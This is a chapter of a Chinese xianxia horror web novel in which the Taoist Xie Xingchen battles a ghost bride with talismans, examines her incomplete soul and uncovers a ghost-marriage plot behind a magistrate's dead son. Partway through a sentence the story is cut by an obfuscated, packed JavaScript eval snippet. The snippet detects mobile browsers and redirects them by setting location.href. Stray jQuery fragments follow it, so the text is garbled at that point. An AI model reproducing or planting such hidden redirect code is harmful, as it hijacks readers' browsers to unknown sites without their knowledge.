9. 华山畿8

作品:《择日疯

    细碎的声响在雀默鸦静的黑暗中格外明显,加之谢行尘耳目极佳,瞬间便捕捉得一清二楚。极轻的碰撞声似是环佩微击而产生的脆响,尚不等那道脆响落下,他便陡然回过了头。


    身后依旧是墨黑一团,火光照不出太远,什么都看不真切。


    寂静又笼了下来,恍若方才的声响不过是个错觉,悄无人声的四下,连转身时衣衫簌簌的擦响都清晰可闻。


    谢行尘缓缓迈了一步,他步子放得轻,近乎是拿鞋底碾着木地板而行,现下最明显的声响就是荷包内钱币轻撞的脆音了。


    一面走着,他一面指尖一勾,单手将那荷包往腰间的旧布袋中一塞。说来也怪,近乎是塞入的瞬间,叮当碎响便倏然消失得无影无踪,寂暗屋中,只余下沙沙一阵脚步声。


    就这般托着火符,碾着步子走出了点距离。直至他路过两个纸人,裹着毛边的火光昏昏恍恍,终于将门边之物照出个影来。


    只见两段垂地白绸之间,一个盖着白盖头的新娘子安安静静立在当中。


    “……”


    这多好,刚掀了人家棺材板,下一瞬就被找上门了吧。


    没成想有朝一日天道轮回居然能轮回到他头上。


    谢行尘盯着那个新娘子,一时有点无言。


    不过打趣归打趣,这鬼新娘一看便是没有神智的,只是不知为何怨气深重,故而比同样没有神智的行尸要强的不止一点半点。它能找上门来,断然不是因谢行尘掀了它的棺材。


    它能来此,只怕是……那屏风阵中,已没有活人了。


    本以为鬼新娘也是困于屏风阵之中,没成想居然可以在这小楼中随处移动。


    屏风阵中没了活人,它或是被阳气自发引来,或是受人指使,便满楼间寻觅尚能喘口气的活物一并杀掉。


    于是谢行尘便成了极佳的猎物。


    好一个不留后患的狠招!


    那鬼新娘双手交叠着垂于股间,好似也是个不会动的纸人般,甚至有几分低眉顺首的样子,全然无害一般。


    只是这副样子骗不了谢行尘。


    现下这鬼新娘一动不动,约莫便是想附他的身,同杀那麻雀胆子之人一般直接将他的血肉吸食殆尽,只可惜当时他一张驱邪符拍在了自己身上,邪祟不侵,误打误撞保了条命。


    但这般僵持着肯定不是法子,谢行尘自没有给那邪祟机会的想法。他也算是深谙先下手为强之道,当即将托着火符的手猛然一翻,一纸黄符被劲风猝然携住,带着明明灭灭的火光,霎时飞至面前。


    符箓飞出的瞬间,谢行尘口中一道咒文念出,翻掌向那黄符直击而去!


    “轰——”


    大团火光骤然爆出,似条火龙般卷着热浪向鬼新娘直扑而去!


    热浪卷着燥热的风,霎时将这阴寒小室烤得得发烫,黑暗房内陡然明如白昼般,刺的人连眼睛都睁不开。


    只可惜这大片的火焰来的快去的也快,铺天盖地的火舌奔涌而出,却不过弹指之间,贴于掌心的符箓便如气血尽数耗尽般,转瞬间灰飞烟灭。


    周遭再次陷入了极黑之中。


    火符消散的瞬间,空中尚燎着几粒火星,黑压压墨色扑面而来,与此同时,一阵罡风贴耳骤起,直奔谢行尘面门而来!


    耳畔风声一响,谢行尘足尖点地,身子跟着猛地一转,罡风裹着森森寒气近乎贴着他的面颊划过。


    这鬼新娘不知什么来头,按理说阴邪之物最惧至阳之物,没成想阳火未曾伤它半分,且这鬼新娘行动极快,近乎是非人的速度,一击尚才被堪堪躲过,下一瞬又一道罡风直奔谢行尘脖项而来。


    要论画符解阵、摇卦算命谢行尘算个行家,可要论身手他那两下还真看不过眼去,鬼新娘来的太快,眼见着难以躲过,电光火石之间,谢行尘干脆脚底一滑,“噗通”一声将自己整个人摔在了地上。


    寒气贴着他的脖项擦过,惹得他不由缩了下脖子。


    刚一倾身摔于地上,他便猝然将身一滚,一个骨碌滚出一大截去。


    终于得了一丝喘息之机,谢行尘飞快地念了一串咒文,一手指尖向腰间的布袋中一探一引,牵线般瞬间自布袋中引出一串的符箓来。


    引出符箓之息,他一手撑身,利落地翻身站起,牵着符箓的指尖猛地自身前一挥,符箓甩鞭般随指尖一转,顷刻间半悬于空中,于身侧五六寸处绕了一圈。


    随着咒文的诵念,龙飞凤舞的咒文倏然泛起层金光,谢行尘周身也跟着金光大盛。


    “锵!”


    暴长的指甲紧追着破风而出,将将要近谢行尘之身时,忽地同悬于身侧的道道金光猛撞于一处,骤然爆出阵刺耳的刮擦声。


    “滋滋”的燎烤声随之而来,一缕乌烟攸地自鬼新娘爪尖同符箓相接之处窜起,恍若焦糊般于爪尖浮起层黑褐来。


    一声厉然尖啸自鬼新娘的白盖头下传出,这鬼新娘虽然称得上个厉鬼,可到底没有神智,倒不算多难对付。现下一击未中,它未曾觉察般接连挥出四五爪,可这符箓恍若结界般,将谢行尘周身上下罩的严实,除了“锵锵”一阵刺耳声响甚是扰人,谢行尘未曾受到半分伤害。


    总算是脱了险,现于符箓庇护之下,心绪也不同了,再看这鬼新娘仍在不折不挠地抓着符箓,倒显出几分可笑来。


    不过谢行尘也是个心狠手辣的主,断不会任由鬼新娘孜孜不倦挠来抓去。


    不为别的,实在是太吵了!


    短短几爪子的声响刺得他太阳穴都发胀!


    口中咒文不停,谢行尘抬手一挥,瞬间抖出数到符箓,天女散花般直奔鬼新娘而去。


    “砰!”


    接连数道炸响于黑暗中传来,紧接着便是几道重物落地之声,鬼新娘身子倏然一顿一倾,也跟着“噗通”一下摔在了地上。


    此番再看,它可是颇为狼狈,两条胳膊和半条腿已然不翼而飞,只余下残损的缺口连着衣衫和皮肉挂在身上,边缘还隐隐有些焦褐痕迹。


    邪祟没有痛觉,哪怕落得如此境地,鬼新娘仍旧浑然未觉,残躯不断撞击着地面,发出“咚咚”闷响。


    现下彻底没了危险,耳边也没了难以忍受的刮擦声,谢行尘缓缓吐了口气,瞧着那鬼新娘摇了摇头,而后不紧不慢地抽出张符箓,挥手甩到了鬼新娘头上。


    只见他单手掐了个诀,而后二指一并,“啪”一下直至点向那张符箓。


    指尖击向符箓之瞬,鬼新娘顷刻间不再动弹了。


    “呼——”


    咒文诵念之时,符箓簌簌然猛颤起来,近乎瞬间散做灰烟。


    灰烟过后,四团青绿色的火苗乍然冒了出来。


    火苗透着幽幽的光,甚是昏暗,悬在鬼新娘脑袋之上的半空中,如同鬼火般,时不时跳跃一下。


    望着眼前透着青光的火苗,谢行尘倒不惊讶,而是若有所思地抬手摸了摸下巴。


    “魂魄不全……”


    他轻声喃喃了一句。


    方才那张符箓极是很辣,一击之下,不论人鬼妖兽,当即魂魄离体。


    不过对于邪祟来说,魂魄离体也算是脱了肉身的束缚,故而称得上是个颇为简单粗暴的超度之法。


    肉体凡胎皆分三魂七魄,三魂为胎光、爽灵、幽精,也被称为天、地、人三魂,七魄则是喜、怒、哀、惧、爱、恶、欲。[1]魂魄齐全者死后归入地府,于头七之后走轮回路转世投胎,而若是魂魄不全,则无□□回转世,只得徒留于三界之间兜兜转转不得超生,其中有些怨念深重者或残余执念者为祸人间,化为邪祟。


    这鬼新娘便是魂魄不全,遂困于人间,超生不得。


    而让谢行尘颇觉吊诡的是,这鬼新娘残留的魂魄正是怒、哀、惧、恶四种。


    魂魄离体后,其三魂七魄化作火状,三魂浮于百会之上,七魄自印堂起环颅而绕,各有顺序。现下这鬼新娘仅存四魄正处于怒、哀、惧、恶四魄之位。


    难怪这鬼新娘怨念深重,这简直就同那屏风阵般,专为积攒怨气而做。


    就好似魂魄被人给打散了,又专挑那承载怨气的四魄强塞回了体内,故成为凶尸厉鬼,为祸人间。


    “……”


    “啧啧……”见此情形,谢行尘老神在在地兀自咋舌片刻。


    只是尚不等他摇头晃脑的咂完嘴,脑海中忽地电光一闪,蓦然窜出个念头来——


    此地有个被人强做出来的鬼新娘,岂不是还会有个鬼新郎?!


    这念头一出,四下好似又骤然阴寒了几分,凉意顺着鞋面一股一股直往上涌。


    不过谢行尘仍被金光熠熠的符箓护着,倒不慌张,而是当即转身,向那个该放着新郎官的棺材走去。


    行至棺材近前,他又燃了张火符,俯身先沿着棺材边缘看了一圈,有些出乎意料的是,这棺材完好无损,以黑漆仔仔细细涂了一层,棺身未有半点损伤,不必说划痕一类了,连点小刮擦都没有。


    谢行尘眉心微蹙,抬手一张符箓送出,轰然一声巨响,又将那新郎官的棺材板掀了个底朝天。


    不到半个时辰的功夫,好端端一间灵堂已然叫这位荤不忌的仁兄砸了个彻底。看这架势,约莫给他个铲子,他能给人祖坟都掘开。


    掩着口鼻待烟尘散去,谢行尘探头往那棺里一瞧,不由得有些惊诧地“嗯?”了一声。


    只见那棺材中安安静静躺着个男子,约莫二十出头的年纪,身着大红婚服,以金丝绣满了四合如意纹,双臂自然垂于身侧,阖着双目,不知是用了什么法子护了肉身,若不是男子面上白的瘆人,胸膛也没个起伏,当真


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408611|168778||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    如同睡着了一般。


    新郎官规规矩矩躺在棺内,安安静静,丝毫未有要起尸的架势。


    这倒是奇了。


    谢行尘颇有些惊讶,他还不信邪,翻手一张符箓直击那新郎官脑门,接着一句咒文诵出,同对那新娘子相同,单手掐诀二指对那黄符一点。


    “……”


    指尖点着符箓,他僵着这个姿势等了半晌,却什么都未曾发生。


    别说起尸了,这新郎官可是死得自在,连一点残魂也没留下。


    见没有效果,谢行尘抬手揭掉那张符箓收于怀中。可自始至终,他拧起的眉心都未曾舒展开。


    怪哉怪哉,为何这新郎未被做成凶尸?


    自那屏风阵至这鬼新娘,他明显能觉出布局之人道行颇深且心狠手辣,一环套着一环近乎毫无疏漏,要说良心发现放新郎一马肯定是无稽之谈,觉着麻烦或是难做不出来更是绝无可能。


    除非……


    不是做不出,而是已经不能做了。


    县太爷家这位公子早就死了。


    不单早就死了,只怕是建楼之时连头七都过了,魂魄一脚踏入轮回,早已招都招不回来了!


    一瞬间,此行诸多古怪乍然连于一处,恍若寂寂黑暗中忽显了光亮,长夜中那张硕大的蛛网也骤然露出了形来。


    喜堂、阴宅墓地的风水之象、新娘子的白盖头……


    诸般诡奇,尽数指向了一处——


    “冥婚……”


    谢行尘喃喃出声。


    若是他所料不错,那县令家的公子尚未娶亲之时便已横死,这活该遭雷劈的县令就想了这么个天打雷劈的损招,不知从哪寻到个姑娘同他那死儿子配了阴亲。


    所谓的算命先生八成便是听闻此事趁虚而入,以助县令寻宝地配冥婚为由,将此地布做了自己的棋盘,叫县令诓了些人进入此地滋养邪物,县令莫名进了楼内八成也是算命先生的手笔。


    最终,这县太爷好巧不巧死在了被他亲手所害的姑娘手中。


    “……”


    一切尽以理清,谢行尘曲起个指节顶在太阳穴上,无言半晌,最终哑然失笑。


    这还当真是天道好轮回。


    复又兀自沉默半晌,谢行尘终是嗤笑一声,摇了摇头。


    整件事已然明晰,却仍有些问题于他脑海中盘旋——县太爷为何会来到楼中?算命先生又是何许人也?


    这些问题只有死人知道,那便只能麻烦死人开个口了。


    这般想着,谢行尘又慢悠悠踱到了那新娘子身边,自旧布袋中摸出四张符箓来,以新娘子为中心,在其身侧两三寸之处围了个圈来。


    接着,他将腰间的旧布袋往地上一扔,俯身将空闲的手探入布袋中一划拉,似是抓了个不小的东西般,直身向外一拉。


    一扯一拉之间,他竟自那旧布袋中拖出了个一人高的引魂幡来!


    他这旧布袋看着灰扑扑其貌不扬,却是个难寻的法器,大名乾坤袋——顾名思义,自涵万法,内纳乾坤。不论多大的东西都能收入囊中,且极是方便,不消得念诵咒文之类,若欲取出其中之物,单靠一念之想便可从中取出。


    多少修行之人挤破头争抢不来的法器,却随了谢行尘这么个成日里作妖的主,混了个灰头土脸陈旧不堪。


    若是乾坤袋有灵性,只怕是要当场窝囊死。


    某位没心没肺的仁兄却毫不怜香惜玉,直接将乾坤袋往地上随手一扔便不在理会,而后口中倏然诵念起甚是复杂拗口的咒文,手中引魂幡随之蓦地摇晃起来。


    霎时间阴风骤起,阴寒之气陡然拔高了一节,哪怕谢行尘有符箓庇体也觉出寒凉来。


    引魂幡每个轻飘飘地摇荡都掀腾起一阵狂风,青年人立于打着旋的风中,玄色衣摆猎猎作响,好似披了身乌压压的黑云,被风卷起飒飒流雾腾霭。


    伴着劲风于咒文一道而起的还有漫天杂乱的嘶吼哀鸣,或哀或叹,或怒或怨,黑烟若魂灵般裹在凛风中,群魔乱舞。


    引魂幡招来的残魂怨魄齐齐化作冲天的黑烟,癫狂般寻着自己的肉身,黑滚滚自屋顶猝然笼个彻底,恍若瞬间便要倾轧而下。


    只是天不遂人愿,谢行尘摇着引魂幡念了半晌,这新娘子头顶还是只悬着四簇幽微的火苗,丝毫未变。


    直至晃的胳膊都有些酸了,谢行尘终是停了下来,有些不耐地拿引魂幡轻轻拄了拄地,聚拢而来的黑烟也倏然消散殆尽。


    “啧……”


    总不至余下的魂魄直接给打了个魂飞魄散吧?


    他咂了咂嘴,略有些苦恼的伸出个指尖挠了挠头。


    这般耗下去也不是办法,谢行尘拄着引魂幡,歪歪斜斜没个站像地立了片刻,忽地一侧头,向那现下放着县令的棺材投去了视线。